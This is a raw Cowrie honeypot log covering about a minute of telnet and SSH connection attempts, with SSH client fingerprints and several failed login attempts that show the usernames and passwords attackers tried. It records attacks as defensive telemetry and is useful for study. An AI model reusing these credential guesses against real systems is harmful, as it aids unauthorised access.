{"eventid":"cowrie.session.closed","duration":34.59162735939026,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:13.816736Z","src_ip":"209.126.87.217","session":"ff14920b2f76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.13411211967468,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:14.216735Z","src_ip":"209.126.87.217","session":"4b744b2fe671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":41380,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb7de45943d3","protocol":"telnet","message":"New connection: 108.179.216.206:41380 (10.17.0.5:23) [session: fb7de45943d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:14.668523Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":37582,"dst_ip":"159.203.135.109","dst_port":23,"session":"1115bcb5d88f","protocol":"telnet","message":"New connection: 209.126.87.217:37582 (159.203.135.109:23) [session: 1115bcb5d88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:15.140974Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":37598,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dcee6080bd8","protocol":"telnet","message":"New connection: 209.126.87.217:37598 (159.203.135.109:23) [session: 2dcee6080bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:15.741799Z"}
{"eventid":"cowrie.session.closed","duration":31.292929649353027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:16.759673Z","src_ip":"209.126.87.217","session":"a6bad25f1aa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.417341232299805,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:17.193123Z","src_ip":"209.126.87.217","session":"ee225d3f382d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.00747346878052,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:19.896591Z","src_ip":"209.126.87.217","session":"5bfc1f5f1dc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56298,"dst_ip":"159.203.135.109","dst_port":23,"session":"817c502b6859","protocol":"telnet","message":"New connection: 209.126.87.217:56298 (159.203.135.109:23) [session: 817c502b6859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:22.635352Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":36084,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b6aa6f8ab82","protocol":"ssh","message":"New connection: 103.146.202.174:36084 (159.203.135.109:22) [session: 8b6aa6f8ab82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:24.085764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:24.090157Z","src_ip":"103.146.202.174","session":"8b6aa6f8ab82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:24.339387Z","src_ip":"103.146.202.174","session":"8b6aa6f8ab82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty321","message":"login attempt [root/qwerty321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:25.370914Z","src_ip":"103.146.202.174","session":"8b6aa6f8ab82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.699360609054565,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:25.801582Z","src_ip":"209.126.87.217","session":"ff1a8fa23cdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.660480976104736,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:26.228094Z","src_ip":"209.126.87.217","session":"70c19873488d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:26.622967Z","src_ip":"103.146.202.174","session":"8b6aa6f8ab82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56312,"dst_ip":"159.203.135.109","dst_port":23,"session":"852365c3f7a9","protocol":"telnet","message":"New connection: 209.126.87.217:56312 (159.203.135.109:23) [session: 852365c3f7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:27.084925Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56324,"dst_ip":"159.203.135.109","dst_port":23,"session":"74e5b453d1e1","protocol":"telnet","message":"New connection: 209.126.87.217:56324 (159.203.135.109:23) [session: 74e5b453d1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:27.150631Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":34394,"dst_ip":"10.17.0.5","dst_port":22,"session":"af7bb55a60d1","protocol":"ssh","message":"New connection: 45.43.86.48:34394 (10.17.0.5:22) [session: af7bb55a60d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:27.699835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:27.704753Z","src_ip":"45.43.86.48","session":"af7bb55a60d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:27.799596Z","src_ip":"45.43.86.48","session":"af7bb55a60d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56340,"dst_ip":"159.203.135.109","dst_port":23,"session":"4305d4a2fad5","protocol":"telnet","message":"New connection: 209.126.87.217:56340 (159.203.135.109:23) [session: 4305d4a2fad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:27.878866Z"}
{"eventid":"cowrie.login.failed","username":"userlog","password":"userlog123","message":"login attempt [userlog/userlog123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:28.200762Z","src_ip":"45.43.86.48","session":"af7bb55a60d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":58086,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3d8627108f0","protocol":"telnet","message":"New connection: 108.179.216.206:58086 (10.17.0.5:23) [session: b3d8627108f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:29.270398Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:29.299030Z","src_ip":"45.43.86.48","session":"af7bb55a60d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.58070111274719,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:29.792553Z","src_ip":"209.126.87.217","session":"8cbedb1d3967","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59626,"dst_ip":"159.203.135.109","dst_port":23,"session":"14458cf88b17","protocol":"telnet","message":"New connection: 209.126.87.217:59626 (159.203.135.109:23) [session: 14458cf88b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:30.224110Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59634,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaa927f3bacc","protocol":"telnet","message":"New connection: 209.126.87.217:59634 (159.203.135.109:23) [session: aaa927f3bacc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:30.598615Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59640,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4ba8af41d24","protocol":"telnet","message":"New connection: 209.126.87.217:59640 (159.203.135.109:23) [session: a4ba8af41d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:32.826357Z"}
{"eventid":"cowrie.session.closed","duration":31.27662467956543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:33.403711Z","src_ip":"209.126.87.217","session":"e20481e8f26b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":57368,"dst_ip":"10.17.0.5","dst_port":23,"session":"c88b1d57448a","protocol":"telnet","message":"New connection: 108.179.216.206:57368 (10.17.0.5:23) [session: c88b1d57448a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:33.614192Z"}
{"eventid":"cowrie.session.closed","duration":0.006555318832397461,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:33.620609Z","src_ip":"108.179.216.206","session":"c88b1d57448a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59652,"dst_ip":"159.203.135.109","dst_port":23,"session":"b512370006de","protocol":"telnet","message":"New connection: 209.126.87.217:59652 (159.203.135.109:23) [session: b512370006de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:34.424854Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37624,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d1219b2a1de","protocol":"telnet","message":"New connection: 108.179.216.206:37624 (10.17.0.5:23) [session: 7d1219b2a1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:36.306165Z"}
{"eventid":"cowrie.session.closed","duration":33.37025499343872,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:38.203142Z","src_ip":"209.126.87.217","session":"dbebe5f721a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84323287010193,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:38.511437Z","src_ip":"108.179.216.206","session":"3dac871e1e71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36662,"dst_ip":"159.203.135.109","dst_port":23,"session":"72ab1a404101","protocol":"telnet","message":"New connection: 209.126.87.217:36662 (159.203.135.109:23) [session: 72ab1a404101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:42.725726Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36666,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff30a04f19bb","protocol":"telnet","message":"New connection: 209.126.87.217:36666 (159.203.135.109:23) [session: ff30a04f19bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:44.577896Z"}
{"eventid":"cowrie.session.closed","duration":30.796937704086304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:45.465330Z","src_ip":"108.179.216.206","session":"fb7de45943d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":47610,"dst_ip":"10.17.0.5","dst_port":23,"session":"58918a548e37","protocol":"telnet","message":"New connection: 108.179.216.206:47610 (10.17.0.5:23) [session: 58918a548e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:45.746783Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":47790,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7964531d955","protocol":"telnet","message":"New connection: 108.179.216.206:47790 (10.17.0.5:23) [session: e7964531d955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:45.896122Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33570,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2b5a2bff656","protocol":"ssh","message":"New connection: 159.203.92.129:33570 (159.203.135.109:22) [session: f2b5a2bff656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:46.553362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:46.557536Z","src_ip":"159.203.92.129","session":"f2b5a2bff656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:46.561684Z","src_ip":"159.203.92.129","session":"f2b5a2bff656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Huawei@1234","message":"login attempt [ansible/Huawei@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:46.571709Z","src_ip":"159.203.92.129","session":"f2b5a2bff656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.39066696166992,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:46.786238Z","src_ip":"209.126.87.217","session":"11f9f8f77d22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:47.577517Z","src_ip":"159.203.92.129","session":"f2b5a2bff656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":50664,"dst_ip":"10.17.0.5","dst_port":23,"session":"eed4edd1a3e6","protocol":"telnet","message":"New connection: 108.179.216.206:50664 (10.17.0.5:23) [session: eed4edd1a3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:48.325282Z"}
{"eventid":"cowrie.session.closed","duration":33.18105387687683,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:48.922719Z","src_ip":"209.126.87.217","session":"2dcee6080bd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.948808670043945,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:49.089655Z","src_ip":"209.126.87.217","session":"1115bcb5d88f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41256,"dst_ip":"159.203.135.109","dst_port":23,"session":"388957a1e492","protocol":"telnet","message":"New connection: 209.126.87.217:41256 (159.203.135.109:23) [session: 388957a1e492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:50.548063Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41268,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cf8897ada0d","protocol":"telnet","message":"New connection: 209.126.87.217:41268 (159.203.135.109:23) [session: 5cf8897ada0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:51.565364Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41284,"dst_ip":"159.203.135.109","dst_port":23,"session":"65441cdd951b","protocol":"telnet","message":"New connection: 209.126.87.217:41284 (159.203.135.109:23) [session: 65441cdd951b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:52.644236Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41288,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ccb73feaf30","protocol":"telnet","message":"New connection: 209.126.87.217:41288 (159.203.135.109:23) [session: 6ccb73feaf30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:53.521022Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":59428,"dst_ip":"10.17.0.5","dst_port":23,"session":"e81c6f7c75ec","protocol":"telnet","message":"New connection: 108.179.216.206:59428 (10.17.0.5:23) [session: e81c6f7c75ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:55.972605Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41290,"dst_ip":"159.203.135.109","dst_port":23,"session":"05d12d086681","protocol":"telnet","message":"New connection: 209.126.87.217:41290 (159.203.135.109:23) [session: 05d12d086681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:56.301394Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41304,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5b3b36f7fb7","protocol":"telnet","message":"New connection: 209.126.87.217:41304 (159.203.135.109:23) [session: b5b3b36f7fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:56.661968Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":60890,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbb8b5fd851d","protocol":"telnet","message":"New connection: 108.179.216.206:60890 (10.17.0.5:23) [session: cbb8b5fd851d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:57.336246Z"}
{"eventid":"cowrie.session.closed","duration":35.01775574684143,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:57.652937Z","src_ip":"209.126.87.217","session":"817c502b6859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":60490,"dst_ip":"10.17.0.5","dst_port":23,"session":"9360ad216b5f","protocol":"telnet","message":"New connection: 108.179.216.206:60490 (10.17.0.5:23) [session: 9360ad216b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:57.904873Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":33736,"dst_ip":"10.17.0.5","dst_port":23,"session":"159347b55f4e","protocol":"telnet","message":"New connection: 108.179.216.206:33736 (10.17.0.5:23) [session: 159347b55f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:59.290147Z"}
{"eventid":"cowrie.session.closed","duration":32.531033754348755,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:59.681536Z","src_ip":"209.126.87.217","session":"74e5b453d1e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80644202232361,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:59.685201Z","src_ip":"209.126.87.217","session":"4305d4a2fad5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":35422,"dst_ip":"10.17.0.5","dst_port":23,"session":"616f0bc07529","protocol":"telnet","message":"New connection: 108.179.216.206:35422 (10.17.0.5:23) [session: 616f0bc07529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:04:59.917854Z"}
{"eventid":"cowrie.session.closed","duration":31.380730152130127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:00.651002Z","src_ip":"108.179.216.206","session":"b3d8627108f0","protocol":"telnet"}
